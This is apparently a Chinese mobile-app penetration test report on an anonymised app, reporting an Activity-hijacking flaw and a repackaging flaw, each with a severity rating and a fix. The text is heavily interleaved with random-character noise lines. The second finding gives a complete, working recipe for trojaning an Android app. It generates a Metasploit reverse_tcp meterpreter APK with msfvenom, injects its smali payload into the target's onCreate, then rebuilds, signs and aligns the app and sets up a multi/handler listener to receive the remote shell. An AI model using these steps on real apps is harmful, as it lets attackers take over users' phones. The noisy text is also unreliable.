3 ?/ M+ [9 d3 M 表1-2 测试结果
9 n. e) d. ]9 c, \' F) f% }$ \' [3 V
$ g5 }% d2 U4 G7 K2 E+ M, |
+ ~- ~5 p5 Y& ^6 k' ~) d 6 q0 [) f2 I* a
8 I8 y3 I% R: y) O( o' h( x) u: L# ^ 1 H6 z$ D1 r* _1 d& Q0 x
& Y) ]2 P9 J! _, E" A4 b7 f" }
- ]' g) o; t: ~- }
# A# X1 O% ` b# \ : N; g k) n7 y- p' n$ g5 A; c# G
$ \+ u/ q3 X5 D% I
2 检测结果 # ~- X3 H$ V) \4 R; m4 I5 a
+ J" v3 ]# t* R5 I' }' }
3 T$ `/ f0 |$ F1 r0 w' ]
4 ^7 S m8 o, b& S0 U& y5 O/ G! f }! u; d. _: c1 e( M( B* D3 g5 C
! @* F3 g# ]$ |1 ~
2.1 某某某 q8 U' [: J" n: m% Y9 a# x
' v' ^: c7 h% O( N" U4 G0 @4 w
; ?+ q9 H" U; _+ ?0 F3 [3 A8 ^
: ~4 x3 f4 @4 f4 y2 y 8 f! _' E, M# D5 F2 ]* R0 i. x
7 x' g8 y$ D" W& N8 ~ 2.1.1检测目标 / ]& ]- q. ?' X3 \* i
& u3 r/ Y' [! z
" |6 O$ s6 A% B: p1 ]3 t8 N9 |' k. B8 q6 v k
5 d- N1 d; h( e4 P9 D8 U9 u( f1 h
1 J- A4 q& s* c, u# f 目标地址: 某某某某某某APP
* G" D$ P, |) [. o, b/ V) L! J) ~/ t; T8 t) x6 K
; L/ i% x& ~+ r7 q4 U
" Z( W7 a: H! o$ w b
' n0 Q8 N" F2 D; p9 h0 P! w+ I' x, t* ~
9 a3 R/ A8 j& G- ^9 f( F( k 2.1.2检测结果 2 D7 J: K2 b; B, K
- H4 u+ |& o/ N6 Z: h
* @% u; U& B& R
1 e/ `, p2 Q; L9 Y) `+ I4 o) A" K
7 V$ d" @' E# C+ t. a3 y p) h3 u* G
2.1.2.1 5 } \- H2 D! \: z0 o6 j
3 d+ a5 y. Z7 p# ~
4 T3 @& F* k1 p" h. G) [- K
+ s1 x" u( a2 V* D2 r- s8 f
* F/ c+ |& R9 V
+ c# ~ O0 T5 R: e2 K1 y* ? 漏洞链接地址:某某某某某某APP b6 I N. R. \( ~- z
" _7 G& |6 z( e0 v6 j
6 T( q1 {6 D) @2 S W& ~! ~& H
& r' I' z7 }; Y
; j% |* Y3 T3 F7 K+ N- o7 s
; i, b- \; E4 v6 |8 d" [) R
' _4 r0 [" I- A" X- |& c( [9 j- v8 R5 }0 K8 m' ^8 t+ ^' A
8 b+ I( j0 Z$ U) d+ B6 a! ?* I1 F' H. @
. q2 E' Z+ T. \- c& {' m
6 d) d) V5 A r! r$ F. f$ F$ D4 I 漏洞分析及取证:
" _: X2 n3 p4 V1 b; v) ~% V
% A9 A6 w9 x' Q! l2 b1 Q
8 U* [# Z# D3 p0 v5 U, x7 V) q3 V
" r" _; `6 k7 d; r- f% P6 N8 j
: }- @) n2 z9 {7 j9 w0 _
% \4 o9 _. ~8 x' D# Z/ `" |6 q 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: 3 G; u# }9 o: W
8 K- Y s" H& C2 J
N# K2 C6 x: ^# V2 ]. C0 h0 x& M# p0 h1 [4 o s+ n0 X5 I
?+ w7 f. F* r0 c$ ]) l! b7 ^: y# ^' n& d9 \1 B1 g8 l
i) E9 {5 p8 i9 @: ~: s
! _+ J! e, V) M' _3 l
' a# i V/ y' ^8 L2 p J7 K. B$ [
4 X9 N8 Z7 D$ F8 G+ d0 f- K 2 V: w* y' o9 b/ Z( E# T
7 V+ V1 R( F6 g- n4 s
0 A9 H2 @5 H& O) a* _# z' K# {, }# f
, `7 x! C+ j2 O- @
; v% c8 K- n; R. g: f; f7 _ 8 }' p8 f* j; G
% W( i& J, e8 \# Y
- L+ B9 W1 o! ]+ n3 m) h g7 n3 D0 K& k+ m: \
* l* ^( h5 D: e$ [0 _
V8 n- \' I6 \ ; D, Q. z0 e3 V+ |% W* L0 U+ J
! v! W& ~$ e$ a5 B+ {; E" u% q; d
2 A" J; `. v' v0 {, Z" l
) a L7 [. a$ q# z
, i- c: L; i* F7 @
1 ]$ q7 B; |% K$ a1 I
2 o. S- u$ G. p/ w& q6 L
3 L2 [! t2 j2 L- X
- _1 ]' C4 \8 A+ I# e2 Q4 w
" t: T$ e& M+ ?
9 r) O3 |. G9 J" h$ ^( F# R( ?' y5 s n# u1 ~
- r e' n+ x: n* v1 D, p& _
) P, h3 z7 S E1 B
漏洞危害:高 $ E* d. l, b5 r+ x6 a+ e5 n s
9 v+ r6 \6 O2 P
7 |* l% P+ t1 @9 R6 n s3 h
! V. N8 y, s4 e6 L/ D* ~; o8 I
+ K* y9 P+ q( }0 Q4 ~2 F
: \7 x" X" k1 x( m# @6 E
/ a& `& \, U1 q! \7 m! u! [3 D h1 \
/ l/ M9 V9 {5 z" L; v" f/ n
3 E# h6 G2 A. P& b9 j - q7 ?0 o: Q0 F8 j$ o
; j1 d. B" E2 y* l1 z5 O5 I; n |
+ M- w9 S8 e" R$ W# k1 q/ y7 J6 X! @
' Z+ Q; a! l! i$ G
& F' I6 n) d' W5 G4 T2 c n# ]. j 严重程度
) \$ s3 |" o) h3 a8 ?9 R, {; O( c& ^' v$ [2 t6 y0 u. m8 A* [
) h z% Z3 d5 B9 W# ^' y7 v4 e" J0 S/ H8 I z9 Z r$ w8 E
| ' w" k7 o$ t9 T( z
# H$ ^0 [2 t/ W6 K( R4 x2 \* R
2 v2 I) s& w+ {+ D
; `- V" x/ l& D% z% A3 i$ n% V6 O
2 k6 b/ `/ R# L) H8 g
* u( j/ O4 P3 M d, N5 l, a 高 + Z9 \" x8 P# k
! X3 Q4 G% w* s7 V7 ^ |% f
& Z- K* W" K* q0 f) D
! J1 V$ \- v; T9 s& `1 f, y; G% g | 9 ]0 m( @ T/ e {0 w; L
% O" A% `7 u( X/ U
% ^4 m! u6 s5 e2 ~! d# f& c: u+ Q/ d' P# P" H) W* w
. q- o! P2 x* L, F# n t: n. I
# F5 M( W6 m6 a1 t! }( H* T ■
2 A6 ?: P: [: X) [. \& @2 B. O+ G/ n
- v ~! }% ]4 q6 R0 U+ R; W$ g) i: J1 s) D5 s, X9 T
|
: k2 j! w+ s3 B. j Z' Z+ D& d8 d1 U, h1 Q. g
+ t0 ]) F' O7 Z" H* c
- g4 L8 `8 i6 P 3 U/ b s& M- Z5 P
: ]) J$ j2 W( k! I 中 : k5 X2 Y h+ l1 N$ s
) z3 d( D9 |$ \, e* M( H
' j# u1 A; F, g- v) c$ F* y6 F8 o# V! c
|
% |* b; R" j8 l% k, F6 Y3 g, O) @
' `9 o" h% p: f5 ]% f o- p+ M* [6 p
: N c: {' Z0 f$ O5 `2 A3 T- f& F4 z8 r5 [7 I
* k g- b* v; D4 {! c# v2 D, H
7 E. K9 o, d" U7 V
6 @ y2 P& o( `* Y7 E# i" k- m9 X, I8 W# U; F: Y; g% A
% W) E |& q9 v
5 k. d J7 ]7 A: U5 b1 o; k7 ^. J | r8 M, ]5 l2 l
5 I6 x( F/ e% Z- o3 L8 f% ^3 E E; b; o* \9 l; h- C- F
3 y3 W% ~& f1 W1 Q$ Z
5 x5 g0 H( p! F+ _& F& R0 B+ ]1 |; z( @4 r8 |/ O
低
: ~2 a3 ?. C' b
- A& z: }3 N! U, e
5 n" C/ {; O# U- p1 a
) k; @- b5 I1 e: {6 n | 6 L' d+ t1 X: X) K8 V7 m$ T, f- K& Z
. d7 v f/ N, v' s( j- h
6 l# J) {6 _; M" C! v
4 e5 B( |6 Y6 z1 {4 Z7 f
" O7 ~$ w! e8 h" p$ D% ~
$ B# k1 S$ X& H, L0 ^
l) O8 B# Q. q5 Z& d" r/ |- I. [& {) C8 |2 @4 K; x' a
, N4 K4 z6 z" h0 {3 @0 P
+ J$ ~( x4 F, a& M; r8 [
|
# }4 p9 K: i# \0 ~9 a( V2 a
/ F% m1 r g- O J, k- R; A6 m
! X+ ~/ C4 o3 V- z6 v" j
' ?& J# h7 [) Q7 ~
2 u9 y+ D. ?. u8 P! j" S/ o
9 j& U" [& D% J' C' |7 m: r+ W
6 @+ P' k+ _+ q! E) ^' U
7 i* `3 K! Y( L
+ M/ _ H/ }# d+ |3 b! G- {$ o) C6 {4 s4 p8 |8 {8 z7 ?% @
! K( ^# T- ~: v u+ y& ^$ s
* n. H2 d. {( ^/ i: ~7 Q ! O. Y' B& W! i: ?
1 K& H2 i6 P( Q" u& p2 w- [
L, |& p; ^* {6 X
0 l/ i v5 ]+ _: L0 [8 m
3 b& `' E5 }; H, {! W J, I: q0 e ?8 F
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
7 J1 b3 S/ w1 _- k
# H8 m: { K* x% x
/ ^! w4 Z+ x4 r. r+ C3 ~5 L
! [/ e9 j* Z0 v$ C5 m* j 5 c( _$ c* @+ z4 U: B! |4 @3 x R/ n
7 J5 ~; c8 s v; v7 u ) U- n3 J! X* c+ w6 x
1 _9 G& M: r5 r2 g3 P* L
) H- C* r# g3 l& w! e
9 r& Z4 E8 |* o' c
! o: \% c* |: g( b$ u3 d `. X; }% B* R
% r9 o; Z0 }! S! e! p
, R9 G! O. L* L/ A; }5 N' v! ?0 e
$ m0 X3 y4 W3 q5 w! e9 W* o, I0 _
1 y& x" [2 G5 Z9 ?
q$ z Z& f$ M8 q! ?; T, T3 V" o+ e& y3 s) I# P `# f
2.1.2.2
$ A& U- v0 J2 p x9 x. [) g' ]& N2 C& B/ R( e
% v3 B& q: \6 v& u$ Y3 Z/ p! ^1 ?" l
, L' s3 ~# a1 S
- Y4 c- K1 C7 u& J) T! o
6 a3 ~4 b) l/ h7 W8 U( G 漏洞链接地址:某某某某某某APP 0 Z5 w* B0 j, n- c# H+ l
# T/ R' v! P8 v% D
/ X4 P! {5 w' |% W5 @" F; U# V# `, H: e1 k
& c3 l+ y0 ]; d, \; r
& w# l3 b' z% f6 [ 漏洞分析及取证: O0 S5 f. r; ?9 W5 O; A
" W2 P# K6 A0 H6 ?
% C( b6 {1 `. H9 V# }
5 A8 W. R* N; N* `* m7 i& `! L. e' E
7 V1 j8 N0 R* L9 j" u. e2 Y1 U' ?. }" |
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: + S, V. I% Y9 `: C; |) X& f: f
# f5 }2 p7 }4 y% ?4 z9 k& t$ B5 w
0 w4 [, ~- j/ S. D) a/ N/ d7 Y+ G M
# _ c6 ^/ h) A4 T
' g$ F& A2 n8 N2 k3 R8 s2 _4 L$ a 用Metasploit 生成木马 apk
( e8 \% {/ ~1 v( t! K3 s/ d& J2 y5 q5 T! F) R2 H6 y
; x4 L, B. B4 b* z- w5 G: ]( ^9 _) ]. l0 ?. W& j" m- y
" c0 c }* Q5 \: P# _5 q$ d) p8 y) I
9 D$ X$ ], ^/ T
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk # @- }" M2 m2 {+ F/ H; M/ N
; ]3 w3 W7 ? Z, [& e1 s5 H3 k7 }2 F
; O2 K1 f, c0 {' c& Y0 [8 y# q" ~1 @$ Z, {, ?% O- R2 e+ ?. F
) {0 w9 K: ^9 j0 e2 j: M
/ q( P5 l. K9 U4 A8 A+ P0 X 反编译目标apk和木马apk
: r/ R7 W! i, A' n" j8 e# k) b9 `. r* C" |) K* F& _
# w& W3 l c$ p! W5 m9 `% ?, B) E: R3 Y2 u' q& \
k. E7 t, l8 c% k# E1 i( e- Z- `$ D7 D& I, `- F6 f
apktool d target.apk
% p9 l0 T' Q) ]3 t j. z. J& x/ u
apktool d cockhorse.apk * f" U, V3 N+ T8 e9 r
1 b$ N6 x- e( b6 ]5 H
* C3 \( m5 @7 a. U& O) t) a
" h1 t$ d- m F! U* f4 C
0 J* v; a" M6 Z* y( V% f, G3 C
. Q0 q" M, J7 @" y- p; G2 y, a2 F 木马 apk 注入目标 apk
- A/ i$ G, B0 l) T% T& u# M" M, z- Z; }
2 _# ^, E0 U: h3 P+ @! ^9 k, ^* y
) T( ]4 a1 c9 ~
. W6 X- _/ C3 Q; S! V. e1 ~
# `9 H7 X* i+ c! ?, t7 v, d 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
+ i/ }. `/ \2 Q
# L$ K/ w9 a4 G; J2 j invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 8 x) q) _' _) t* _0 u
; G) L5 Q, z+ ^. G1 v- u* X' F
% _& M! T' F2 d* i6 f# Z" O+ n: h- e- M$ j
4 b9 e! g( r y6 T0 B1 {8 {: b4 q; [5 s4 l+ _# q
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 `6 f! `- C; S- E
# H" N% V8 ~5 c6 Z( `2 W) K$ [
' [) S1 h f S% S( H- W. }0 u
% c5 @7 u6 D7 o- I
) b6 n5 Q3 @5 Q" b* a. t
# P; R1 r4 u7 @ 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 7 v9 |$ J, e1 P+ E) j8 m# S1 u' p0 [
& O# w; w Q+ y: X7 i+ b
$ L! p* v" x! h
3 j$ b5 u5 v) p4 |, B
6 I: O6 h1 p {# ]5 P* m/ \
1 m! i* Y( P: H0 [7 F4 X! s% @ 回编译生成最终 apk $ e# C- ], R4 d* t" @
0 c6 p, w3 x/ Q, _' M
4 Z1 t* ^0 r7 G" L$ _( d
, t3 G2 F9 b" J- b, c3 J ) j; t' Z6 `4 r! \& f: ]5 S
3 Q- B( _1 w, }" f7 }* F 重新打包
. n9 k; @- y% A6 P* o! Z1 i* ~9 e4 m. [5 h# Y( G+ [) Y
3 H( `# G% q! P9 N1 l4 [& }1 v
" @8 `. c+ Z7 ]' h* Z% g
% X/ ]/ P9 w1 b' N$ z6 L ?* G
* C ?1 J8 N2 Z9 h3 O+ o4 X2 g apktool b -o repackage.apk target_app_floder
1 a! `9 ~/ f( z$ w% ?$ c. C; C8 J3 C0 V h" x) j. `6 n
: |5 ]5 a; t7 }5 ^( ?0 o( S- Q/ S# t$ D* i& U" M
( r% M3 {0 ?" u
. h8 z9 {3 i7 Q
创建签名文件,有的话可忽略此步骤
8 @5 F( A9 j4 u# U1 q$ j6 [- G# r' `0 }* U) n# u# K Q
3 ^" y( s0 Y! A$ }1 |' f
3 W# Y- Z5 @% m0 I4 j 4 R% i/ I' m& e, w# h+ w5 l1 O
- ^9 @0 s) K( X I7 a
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 3 g4 Q: c7 M$ o- R
/ R( ` B. C1 `2 h6 _) Y5 C
1 H8 D4 ]6 I" m% o8 c6 k6 @: v3 S
9 G0 O" t; F/ r, C / [4 K3 @$ U# `: F
' W# t- u7 O6 x8 U1 A* k
签名,以下任选其一
7 j' C% B' ?/ B8 Q) Z* I) G8 d1 G6 v, Q
3 Q: T( A3 G& r$ @2 y8 C7 m, ?* G/ w, F. ?/ Q& L- w
& E1 N i+ K% q! I( N
+ u! f& o# U2 n" u8 M jarsigner 方式
t) S+ u, Y9 J4 A$ N
4 p7 Z' y+ h2 c, Z5 m/ [* s
: |0 s9 n" }7 [ d
$ G/ [9 N& Z* e0 Q( Y
) ~$ H2 g. k2 Y+ q# t. u# `4 i
# E- Y u% [0 t7 z$ T0 y: f3 l jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 4 h0 X% j5 G- p
c ~6 A* T5 i( R2 c& @
) t4 q/ W* P! d+ ~6 y% N' o
- c1 W6 G6 B( O
/ l7 N+ x0 c" z/ O. E( c* k5 J- m5 F7 t0 m7 w" h
apksigner 方式
" L* k" a+ Q" Q6 I+ q. F5 @/ w% O2 Z% u* U: n( y2 n! i
* I% R2 j: J! C' h" O5 a, \
, D+ H- t- J {' |. k T/ k, y9 I {7 _7 e" N
- Q5 `. m( o& b' ^
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk ) l4 M6 G- ~2 R% L) {) m
( Y! q" [/ Y1 ^9 d% o) \
) T8 \0 F2 s3 V2 q, y9 z& l' H/ v$ r5 e1 `2 B
, I S: I; T0 Y$ S5 }
- z- b/ r; V/ n" v7 c x+ l 如需要禁用 v2签名 添加选项--v2-signing-enabled false * n! m. z* U3 L. j
0 q8 ]+ O0 Q' K% T
9 W3 l! _9 a$ b3 i" x/ v4 v! l" J( T
3 p& @, ?( k* W: W4 a: B
: T W. V0 s/ P0 y4 H$ f
9 X o Z7 \' {$ T
验证,以下任选其一 6 F1 p8 g; [9 ~5 ^8 H
0 k* I0 E. ]( s0 a( f1 _( I
0 [$ |; f- v1 r( t! |7 Z8 X/ K9 H9 q
7 ]& H3 O; x" K% p
5 \1 ?, T n; N, E8 E) w jarsigner方式
& r0 ^) E9 }3 l. P; r) k8 m( P( B" y( V: N
0 l. h A% V; U4 I2 u0 }" S5 I
0 b4 f5 l) p+ [) i8 S. a3 K / M+ n4 ^9 x1 _/ P4 u8 u! i6 P
7 E% e# |% Q+ y% ~! R% u
jarsigner -verify repackaged.apk / S7 s- j! d: Z2 X
/ O4 y& b6 g1 V) |/ J
' S' I- Y2 Q4 |8 }* Y z, }4 W
/ F8 H+ g) a9 i
* q; Q6 K {' B6 j8 z
5 \; t' O3 d& K! X* b. } apksigner 方式 , X) _6 S5 B+ d% {2 S
6 s) M8 H% t/ d# l: j
( Q1 Y+ a0 f3 q: D4 E3 [
! n) V4 s* \5 k" A) _+ G: m : q( T( |4 C' i" W& K h: R
) e5 _- q" M, o8 u
apksigner verify -v --print-certs repackaged.apk 5 ^" G* v9 s- O* _* W
& Y& y# g: O- q9 M# X$ d7 A
$ V4 }3 ^5 j& h. [: W5 S: S# \7 p6 W2 j8 [
2 K: } S& D0 v$ [) m) |
% }8 J+ z5 q1 p& S: b h* ]" L# ^
keytool方式
' [, _) K: ?1 n: E3 b: t& \( H" f) ~/ j# A/ P7 j
5 J4 M7 u# C5 K
# E3 [) t1 j8 ~8 r, h; W8 F & d3 i1 Y# k' n; ~% A0 h
8 P# Y# S* m3 ^& Q3 x keytool -printcert -jarfile repackaged.apk & S7 Y1 H; c$ z+ e
F$ y( J" w4 u/ {4 V* B
7 |2 z- y w) e# O" ~! ~
1 x: u# k$ h8 M' N7 P
0 m0 }- t0 h8 h, o
5 D9 p, u" ~7 Q7 O3 E4 x 对齐
9 C9 U7 z% x8 O. l' g
J2 e6 a# U: v" I+ F; B" [
( Z& E6 P/ [% [, M* z9 h* r% Y1 J4 ~' R
" v, X! L% h; i+ T3 }
$ B( U. n. [: w" B6 L0 u/ H
字节对齐优化
$ B% `8 v/ j3 _8 e) \- _; y3 O! s1 O( i8 v+ S5 V8 s
" ]4 v) i4 Q0 A% {/ N, z
# w% Q# N& f* `" K3 B
* l/ q$ }" I6 \* k. t
m: a. ]# H/ y zipalign -v 4 repackaged.apk final.apk , R% w# b3 _; k+ n
7 c* F% O4 \) K2 ~/ W
( [9 Z9 N& V% f; I/ I6 G
- Y/ g+ ?5 ?' o! `( s
. U: N! e; Q5 k/ ?. n& ?; i* f: \! {: r E
检查是否对齐
u7 @% V" q! t; T# `4 w4 E/ S0 }
8 o0 ?; u; Q* n6 d% r3 Z2 c
2 e( n7 F4 d0 T# k4 i* _ E- I1 N: ]7 ? f1 J/ Z' U
9 K9 g! G# B& `& [, L
6 W, q ~) }5 `; r L) m% y zipalign -c -v 4 final.apk
2 E$ W+ G$ N7 T7 W: t
( M& d: _+ B$ X7 C- x+ u, w
2 O0 [6 b$ e; l: _2 |# {) e
4 ~+ ?# W, \% D6 B6 S
1 X4 _* L) L, R$ {
% D4 ^% ?8 o4 h3 `/ | 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
' N& f1 Q# L0 _' r0 C/ F
9 {/ _; N& l+ c3 w! {' y* h. ?& ~
6 U# K* a" Q6 |2 s; v, m" ~ d/ z- ]6 n: D6 ~$ O
/ ~; O! F" J3 k$ o% y
) I0 f/ `7 f" A" Y3 B$ {4 R 启动Metasploit控制台,配置参数等待上线 ; [# o X+ s# }1 w5 \& w) Y
9 G! t, ?+ f5 B8 Q( W* U
v' q [. K% w5 P5 e* e. ?
, E" G' H V: a2 m/ Q0 V( v% G0 Z ! J# y- k4 v# W k) {- x
1 G. c% E4 w) y2 t5 C+ h+ F
在终端依次输入如下命令 + t& r: _( o! j( L
. A! M) h# I& k' P. y
! x- e& l$ ~: N! ^) G/ j; |+ v6 U5 D. X6 `) ]' j
: V' b4 J) l# A7 U
% L6 C& T5 h8 I6 H( z7 o9 J msfconsole 5 l/ T( C6 M9 ?- p. W
' d3 t+ [/ N: S& j2 J
4 O( \6 o8 f* p+ Y/ p& R# Z
6 `8 a, s* Z# v) C2 g/ Y
2 O& S* U* a2 y$ [
) I4 h1 [' [, a* o3 Q use exploit/multi/handler 3 }3 s" C4 t9 }& ?. i$ b! ^
! {& ?/ Z: y! c* U1 E M: N! ^
4 k7 ]' p. P# |7 B B& Z; }1 H
4 |- v& M o7 @/ \
9 _% ]/ n% \. s) f D2 w set PAYLOAD android/meterpreter/reverse_tcp ) K; S+ \# _1 ^* T7 }
8 v6 h+ v1 Q, `3 Q& `
6 f2 \" b3 `3 J* Y$ u# r; b6 i
& U/ n' X5 r* d
/ W% m. @+ P; U% x% ~* s+ }4 G8 d- x \4 R* [0 d0 x- i3 Y0 s
set LHOST 192.xxx.xx.xx / v, f* O# I+ }" {: h# {; U
- r9 U& |# L* f/ Z- T
3 x- z5 X8 y u3 F4 u- W2 ?* m. x4 S( z7 N$ f' g8 X
5 R4 T r! P" P7 B
& ^& M, Z+ y9 g) P set LPORT 4444
% i! d1 K# t1 l4 B/ ], J5 @; P1 o5 W+ G' `9 z
& A6 B5 T- {) E# v) ?; l; q
3 S2 r! ]6 _! a1 i. M0 \6 o 9 {$ Z( s: @. ?, x3 [; u& I+ [
# O/ u: q2 j1 d) D9 O exploit
+ T% q) G( r* W1 a0 K. {" u* J, ~* G! k* F
Z" P8 H/ P: Z3 C% [* s# N; Y' e5 o5 `+ A: E% ^. V
- _: T6 g+ z9 _( o: f# A1 y# o
' i6 u# T% x [0 p) O+ W/ M: ^" u 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
2 V/ ?+ x# K8 D% n8 Z4 @& Y+ ^
2 n; e0 S- m; s4 `! o2 y
% ^( j5 W7 }" T) I0 P) ?! h. k! y, s4 s
0 L$ K4 }* n; s' x# M8 h @6 A
+ {- u. s& L' t2 a5 M. e( C# B 漏洞危害:中
. k. t" U: S* H+ g2 b+ R) h( o( v* y3 m
5 R4 Y$ X) c" g6 q( H7 ]! C# Z
2 c, G' H+ g# H, ^, @/ x8 c
& A" n9 N+ K L
0 I' X; p/ H4 K+ ?) e
" V( o: W5 K+ W& s! e& a # f7 ?& V! h u
7 r5 V! O" W3 O
& I- s# _5 ^& ~/ H1 K# x
. w& A& i. O- T: B+ H
- l* s0 R+ `; G. t' G+ z( x J" \! d7 s9 t& y) H. H8 W( W
' a8 v" n$ G7 ~. |; d6 W5 a" ?8 o* h8 |
|
, I: O! _' n2 G w7 b! }6 }$ ~7 d+ U" i4 W% L" G
' p* M( Z0 }" W# x# O9 P7 R9 K" R# b7 n
严重程度
; F$ m( X7 i! [' ^5 Y: \. v* \. ?3 Y5 i: e6 {
2 [% L. n& @5 ]( M+ e g8 S
- R. b9 H8 G- J# ?; |6 i' a
| 9 \: H6 W( I% I. u! M; P/ g% |' n. D
5 n+ A+ B2 _% F$ b0 l9 o! ~
# E$ D6 k e# r% T* F4 F0 M5 L; D6 H F/ ?) l! a/ F3 t/ r3 S( A* q5 V
$ ]: @( \2 G1 l$ b: u
# [7 B* d8 l: { 高
0 `5 m! l# k# _+ W" `
% b2 ]. s! }8 b; Y* @
( I! S: g& w; d2 j' H C9 w3 y3 z3 ]. L" ]2 f
|
! k/ r4 S2 a, E/ M* h7 @" E4 X
, U$ [7 w! w2 V) X) r8 _5 Q' m
% d6 A" t8 q; G, x' h. z/ z# k4 S
- a, F, t$ [ }: D+ |! X. h( x: k
8 @ T+ J! p2 ?0 V! p ■ 2 ]4 t2 A2 Z2 v' w; V! v; P+ L
& _4 b7 Z6 ]2 l1 N8 M8 e" [5 m 4 a) E' s$ p( ~. r5 `+ I# G2 B
: U% W6 t- c) P' ]; J: r8 h
|
# ?4 S7 @$ M4 x/ `; {0 {; I
* C8 @( r( i/ w: C6 t! M
4 O4 C2 t X, O* A- Y) r& H3 u+ \, u0 G
' I' G5 k6 g: b2 |/ Y' Y* f
( v# U6 ^7 d- P) E1 i& p
中 # r" Q+ e4 {+ R1 p( E# |5 B, M$ n
8 r G( K2 ~+ {
' O" }+ b) i+ f
: Z" f& [( a9 o5 h8 Y- j1 i | * [" X, ~3 e! v2 F* [+ k9 D( e
( K6 t; t9 c, C( Y+ Q `% o
# l; ^* S1 N% F$ c- j e
8 P5 I1 w% a1 K
( K' q" M$ G' M' d$ A' ?5 g. s
( P* s* B, @" v 4 E) I& W$ k* ~ x
" L' d& m1 U' [$ v1 E, |& i
1 c# U* N4 L! E! l* e* e: l8 `
; [# ]- y7 V3 X7 b" h r. ?% Z/ r: d- l/ i8 S
! r2 E- S# h7 c4 K+ k( A* T |
5 o, o( e0 e6 N3 ]
& ^* R" G3 U) _/ b; E. ]3 @7 {6 N * Z5 r; j7 g) ]& A/ D& P) q$ u
; b8 r7 ^& t5 {% b/ G
) z* }* [+ l9 E o& F* H# ]+ \3 C G3 |4 t2 Z. j2 [4 F
低
- T) Q( S8 c* P
% n: w6 W* U. R* L, _. M # w) Q7 z( Z5 `1 e
9 D" p8 P& t" P, i2 r7 m @ |
( D2 O j2 J$ A4 r' V9 C5 x( e C% ?' R8 s
! G4 w! V+ T7 J/ `/ _; J6 A
% I1 v* y. L! V; { ) H% m5 N8 a0 `% O7 D9 H- q. X& V. q6 v
: A9 W/ O6 z5 @: B3 H5 ? 4 A9 v) U$ O& d' b/ a
3 i( F' {, C, P8 @- D, C" Q) s/ w
1 S% ?0 J( ]# ?( i4 |# z" K+ g8 ^7 d# P) \$ x
" S1 \# c: [9 F& |0 \' k. _3 X) N4 K7 s1 S: R& U
|
. o2 D/ P5 _8 c" x% s0 R9 b; o7 v
# S7 ^( \; |' L2 J9 \
* y. w0 R# i3 j* o4 `
, V4 B% N& ?# s
- J1 h( @5 P# P4 a" |# c/ p
& \( M ]3 Q% d- q) |- j- f1 y
8 T8 m# m, V" I! i& f% E( R3 {% L
1 |, Y! B( m( e/ f1 H
/ s% v5 h: a' D4 r: t$ A
7 b3 z; R; r7 n" u
* p* I: H# i6 J
* ^7 Q# x5 ?* p( ]
& Q8 y1 M" {9 @/ y y( P
! ]/ K( A( ]0 j/ o3 b
4 `* @" `1 m4 c. I6 F/ G7 ? U% E! U8 `/ b! n
$ R! u& O9 V% ~: \2 k5 }- E+ x3 Q
2 j9 M% j# T* A% Q6 O 修复方法:
p& u' j" {! Z) a) P/ C- K9 e5 V( J* T" C$ o$ w
C' p) U7 O0 i8 u5 W/ @0 M) t5 p
& n6 B- `& q; ]: ?
) d# y! L7 ?2 W5 _6 F. o* Q+ W$ n
- D. X: d* D9 {4 a 1.在 APP 启动时应做签名校验防止二次打包。
6 R! d. t9 P/ b2 f+ D6 {( @7 W8 b# j
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 / E: ^- ^+ a# p" y) c
, `: J- n" R) w! y' ]
( c! p+ h/ i! l- c) b, H) p8 D
% o- q' A# u/ K4 I$ ~
& b5 p) c$ n) m9 n% M* D: ?9 T
: O3 X( I5 t6 E7 j) N- W % v4 R" \* @/ _% u
, L) @$ C+ H6 W
0 [ w6 ^ w; C0 G( F v4 Y: a O; a, p4 x6 w4 U
, e9 e K- D1 f J% A! b+ X$ Q6 K( ~3 _ @, M0 s
/ d* Y7 K$ z9 K7 s
2 s) Y' J7 [" Q3 T 5 k7 ^5 h: \3 p2 y: [: B3 f! J- e
) V7 R& V1 u3 n5 H M+ z
1 J+ P: E- ^. J' `; r
$ }6 P9 Z2 @$ U7 B8 _) a* V
* b2 y, m0 S1 H9 N! D! K
- Z. p0 ^: x' @6 t) g* `- O$ }